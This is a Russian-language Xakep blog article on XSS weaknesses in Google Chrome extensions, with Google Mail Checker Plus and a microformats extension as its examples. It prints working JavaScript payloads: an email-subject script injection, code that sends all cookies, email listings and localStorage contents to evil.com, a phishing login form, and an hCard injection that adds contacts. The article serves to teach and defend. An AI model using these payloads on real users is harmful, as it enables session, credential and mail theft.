Pull to refresh

Безопасность плагинов Google Chrome

Журнал Хакер corporate blog
С каждым днем Google Chrome становится все более и более популярен. Его создатели проделали большую работу, разработав платформу для создания расширений для браузера. Они несут в себе дополнительный функционал, но и новую опасность.

XSS в Google Mail Checker Plus

В рамках этого материала я не буду детально описывать, что представляет собой архитектура расширений в Chrome. Об этом можно узнать подробнее из хорошей статьи Ларри Селцера «Google's Chrome Extensions Show Security Focus». А для понимания всего того, о чем пойдет речь ниже, тебе нужно осознать всего несколько моментов. Первое – браузер Chrome, как и тот же самый Firefox, поддерживает расширения. По сути, это небольшие программные модули, с помощью которых можно изменять и улучшать базовую функциональность. Второе — плагины разрабатываются с помощью привычных нам веб-технологий: HTML и JavaScript, включая вкусности HTML5 и CSS. Использование этих технологий на порядок упрощает процесс разработки, особенно в сравнении с написанием расширения для Огнелиса (хотя и там в основном используется тот же JavaScript). И третье — все плагины строятся по одной и той же структуре. Обычно расширение для Хрома включает в себя следующие составляющие:
  • файл манифеста manifest.json — в нeм содержится информация о расширении: например его название и описание, версия, используемые файлы, привилегии и другое;
  • одна и более HTML-страниц, включая фоновую страницу background.html, выступающую в роли движка расширения;
  • опционально: один и более JS-скриптов, включая внедряемые скрипты (это аналог UserJS в Опере и Greasemonkey в Мозилле);
  • опционально: всe остальное, что может понадобиться — например, файлы-изображения.
Всe это хозяйство упаковывается в zip-архив с расширением crx. Для коммуникаций между страницами аддона предусмотрена возможность вызывать из одной страницы функции другой и даже изменять DOM-модель. Однако это не относится к внедряемым скриптам, для связи с которыми используется механизм сообщений. Для страниц расширения доступны специальные API-интерфейсы браузера для работы с закладками, историей посещений, куками, окнами, вкладками, событиями и так далее.

Устройство расширения в Гугль Хроме
Устройство расширения в Гугль Хроме

Теперь, имея общее представление о структуре расширений, предлагаю разобраться, какие риски могут нести эти технологии и что стоит учитывать разработчикам аддонов под Хром.

XSS

Рассмотрим популярное (около 18 368 установок в неделю) расширение для проверки Gmail’а – Google Mail Checker Plus. Этот полезный аддон делает только одно – показывает количество непрочитанных писем в твоeм инбоксе, а по клику на кнопке открывает окно предпросмотра. Помимо этого в нем реализованы оповещения на рабочем столе.

Предпросмотр письма в всплывающем окне Google Mail Checker Plus
Предпросмотр письма в всплывающем окне Google Mail Checker Plus

В области предпросмотра мы можем увидеть как минимум тему письма, отправителя и немного непосредственно текста сообщения. Попробуем с этим поиграться. Скажем, что будет, если послать письмо со следующей темой?

2"'><script src="http://evil.com/own.js"></script>

Тут own.js — это простая JavaScript-нагрузка для демонстрации уязвимости:

document.body.innerHTML = '';
img = new Image();
img.src = 'http://evil.com/stallowned.jpg';
document.body.appendChild(img);

После того как пришло письмо, нам отобразится сначала уведомление на рабочем столе:

XSS в уведомлении Google Mail Checker Plus
XSS в уведомлении Google Mail Checker Plus

И затем по клику на кнопке расширения мы увидим уже нашу XSS во всплывающем окне расширения:

XSS в Google Mail Checker Plus
XSS в Google Mail Checker Plus

Бинго! Кстати говоря, эта уязвимость была обнаружена человеком под ником Lostmon ещe в июне 2010 года, но я подковырял еe, и автору расширения пришлось вносить исправления повторно :). Этот же человек, рапортуя о баге, писал:
All extensions runs over his origin and no have way to altered data from extension or get sensitive data like, email account or password etc...
Рассказывая о невозможности добраться до конфиденциальных данных через подобные уязвимости, он не совсем прав :). Покопаем, что же можно сделать с помощью банальной XSS в случае с расширением к браузеру.

Куки

Сессионные данные – популярная цель для XSS-атаки. Но расширение работает в своего рода песочнице и напрямую доступ к кукам через объект document.cookie получить уже не получится — нам надо использовать API. Для работы с куками расширению (и нам тоже) необходимы специальные привилегии и явным образом прописанные в манифесте домены, например вот так:

{
    "name": "My extension",
    ...
    "permissions": [
    "cookies",
    "*://*.google.com"
    ],
...
}

Очевидно, что риск увеличивается, когда у расширения слишком много прав, то есть как минимум права на работу с куками и большое количество прописанных доменов в соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой, поскольку злоумышленник сможет получить доступ к кукам сразу всех разрешeнных доменов. Следующий код демонстрирует, как можно собрать все доступные куки и отправить их на снифер:

chrome.cookies.getAll({}, function(cookies) {
    var dump = 'COOKIES: ';
    for (var i in cookies) {
        dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
    }
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg?' + dump;
    document.body.appendChild(img);
});

Все данные отобразятся в логах запросов нашего веб-сервера.

Данные веб-браузера как цель для атаки

В предыдущей части мы рассмотрели, какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определeнных условиях (наличии большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов, и это сильное преимущество перед XSS в обычном веб-приложении. Также он сможет заполучить такие интересные данные как история твоей работы с веб-браузером, закладки и другая информация, доступная через API при соответствующем разрешении.
Таким образом, в зависимости от типа расширения и его привилегий XSS может привести к компрометации данных пользователя на его компе, а не просто краже куков.

Угон почтовой переписки

С помощью XSS легко можно обойти настройки Gmail по показу внешнего содержимого. Пускай, это не так критично. Но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить тег , а по факту запроса картинки с сервера определить факт прочтения письма. Это всe возможно вне зависимости от настроек показа внешнего содержимого в Гмейле! Но это ерунда, а вот что по-настоящему серьезно, так это угон переписки. Представь на секунду, что ты получаешь вот такую JavaScript-нагрузку:

var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length) { 
    if (e[i].className == 'openLink') {
        dump += e[i].innerText + ' | ';
    }
    i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Это не что иное, как дампилка писем в рамках всплывающего окна расширения. Тут всe просто — мы перебираем все элементы из списка писем, в которых отображается информация о сообщении (отправитель, дата, тема и кусок мессаджа), и отправляем еe на сервер злоумышленника.

Настройки расширения — там тоже могут быть интересные данные!

Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно, такие аддоны надо поискать, но они существуют, это 100%. Например, в настройках такого «плохого» плагина может быть сохранена аутентификационная информация, и мы достанем еe оттуда с помощью следующего скрипта:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ ) {
    dump += "KEY: " + localStorage.key(i);
    dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Фишинг

Как уже было сказано выше, расширение не может напрямую обращаться к кукам, поэтому разработчикам плагинов необходимо использовать соответствующий API. Таким образом, заполучение куков в рамках XSS-атаки становится нетривиальным решением. Но с другой стороны — обычный фишинг-то никто не отменял! Злоумышленник может сделать простую псевдоформу логина и показать еe жертве через простую нагрузку:

var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
msg += '<br>Password: <input type=password name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;

Скриншот выглядит не слишком красиво, но это всего лишь концепт.

Фишинг
Фишинг

Риски, связанные с использованием JSON

JSON — это легковесный текстовый формат, который широко используется в веб-приложениях web 2.0 для обмена данными между клиентской и серверной частями. Он же применяется и в плагинах Chrome для описания файла манифеста:

{
  "name": "Extension",
  "version": "1.0",
  "description": "Some extension",
  "icons": { "128": "icon.png" },
  "permissions": ["http://example.com/"],
  "browser_action": {
    "default_title": "",
    "default_icon": "pic.png",
    "default_popup": "view.html"
  }
}

Существует как минимум два больших риска, связанных с небезопасным применением JSON:
  1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательских). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse.
  2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking.
Не стоит забывать и про JSON(P), который используется для обмена данными между доменами. В контексте расширений Хрома эта потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Также с помощью любого промежуточного прокси можно посмотреть, каким образом идeт обмен данными между расширением и серверной частью веб-сервиса. А там вполне могут быть проблемы с безопасностью.

Внедряемые скрипты

Мы не единожды рассказывали про внедряемые скрипты (в одном из номеров ][ даже был подробный материал про Greasmonkey и его возможности). Хороший пример их использования — автоматическое обрамление всех URL-адресов на странице в html-тег , тем самым делая их ссылками, даже если автор страницы об этом не позаботился. Внедряемый скрипт (content script) — это, по сути, специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения. Таким образом эти сценарии могут свободно читать и изменять содержимое текущей страницы, но при этом они сильно ограничены в использовании API-расширений. Если быть точным, то они не могут делать следующее:
  • использовать chrome.* APIs (кроме частей chrome.extension);
  • использовать переменные и функции, заданные в родительском расширении;
  • использовать переменные и функции, заданные непосредственно в коде страницы либо в других внедряемых скриптах;
  • делать кроссдоменные запросы XMLHttpRequests.
С другой стороны, внедряемые скрипты могут общаться с родительским расширением с помощью специальной технологии сообщений. В общем виде мы имеем два риска, связанных с внедряемыми скриптами:
  1. В силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, где изначально этой уязвимости не было!
  2. Зловредная страница сама может атаковать расширение веб-браузера через внедряемые скрипты.
Давай разберeм пример второго случая и рассмотрим подробнее расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. В поле URL мы запихали то, что, скорее всего, расширение не планирует там увидеть:

<div class="vcard">
   <div class="fn">James Bond</div>
   <div class="org">MI-6</div>
   <div class="tel">604-555-1234</div>
   <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';
document.body.appendChild(d);</script>233">http://example.com/</a>
 </div>

Если у нас установлен этот аддон, и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть, распарсить и показать нам эти данные о человеке.

Атака на расширение Microformats extension
Атака на расширение Microformats extension

Наша нагрузка отработала, и видно результат? Но какие риски это несeт? А вот какие. Рассматриваемое расширение умеет связываться с твоим гугловским аккаунтом с помощью протокола OAuth и API-сервиса адресной книги Гугла. С твоего разрешения оно имеет доступ к адресной книге и может добавлять туда записи по клику на соответствующей кнопке во всплывающем окне. Вот такой простой код, использующий фишки JQuery, добавит произвольный контакт в твою адресную книгу на Гмейле!


$(".submithcard").click()

Таким образом нам удалось обойти серьезные ограничения на использование API внедряемыми скриптами, и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей.

Заключение

Что хочется сказать в итоге? Разработчики Google Chrome сделали действительно хорошую архитектуру расширений и предоставили достаточно возможностей для написания качественных и безопасных расширений. Но одновременно с этим мы видим, как выбранные для разработки технологии (HTML, CSS и JavaScript) при активном участии горе-разработчиков способствуют подверженности аддонов таким атакам как, скажем, XSS, к которым мы привыкли в контексте веб-приложений. При этом риски от такой XSS могут быть похлеще, чем от XSS в обычном веб-приложении. Создателям расширений непременно нужно особенно внимательно читать раздел «Security considerations» в руководстве разработчика, а пользователям – следить за обновлениями расширений и вовремя их устанавливать!

Полезные ссылки:
Журнал Хакер, Июнь (06) 149
Тарас Иващенко


Подпишись на «Хакер»
Tags:
Hubs:
Total votes 115: ↑104 and ↓11 +93
Views 28K
Comments Comments 26

Information

Founded
Location
Россия
Website
xakep.ru
Employees
51–100 employees
Registered